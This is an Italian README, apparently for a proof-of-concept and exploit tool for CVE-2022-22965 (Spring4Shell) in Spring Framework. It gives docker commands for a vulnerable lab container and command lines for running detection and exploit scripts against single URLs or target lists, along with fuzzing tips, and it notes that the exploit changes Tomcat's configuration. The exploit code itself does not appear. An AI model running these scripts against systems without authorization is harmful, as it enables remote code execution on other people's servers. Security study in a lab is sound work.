CVE-2022-22965

Spring Framework/CVE-2022-22965

ID di vulnerabilità: CVE-2022-22965/CNVD-2022-23942/QVD-2022-1691

Riprodurre la vulnerabilità

docker pull vulfocus/spring-core-rce-2022-03-29
docker run -dit -p 8080:8080 vulfocus/spring-core-rce-2022-03-29

Rilevamento della vulnerabilità

POC

Si consiglia di utilizzare il POC per rilevare il target. Il suo vantaggio è verificare se la vulnerabilità esiste tramite DNSLOG e non modifica la configurazione dei log di tomcat

python3 cve-2022-22965-poc.py -url https://example.com/
python3 cve-2022-22965-poc.py -file file.txt

EXP

python3 cve-2022-22965.py -url https://example.com/
python3 cve-2022-22965.py -file file.txt

Exploit

POC

python3 cve-2022-22965-poc.py -url https://example.com/

EXP

python3 cve-2022-22965.py -url http://example.com/

Fuzz

POC

Aggiungi le rotte comuni alla riga 13

routs = ['env',]

EXP Fuzz

Aggiungi il percorso comune alla riga 12

path = ['root',]

• AVVISO:*

• Questo EXP scriverà insieme in un file le richieste http non riuscite.
• Questo EXP modifica la configurazione di tomcat.

Solo per apprendimento sicuro, non utilizzare illegalmente

Solo per studio della sicurezza, non utilizzare illegalmente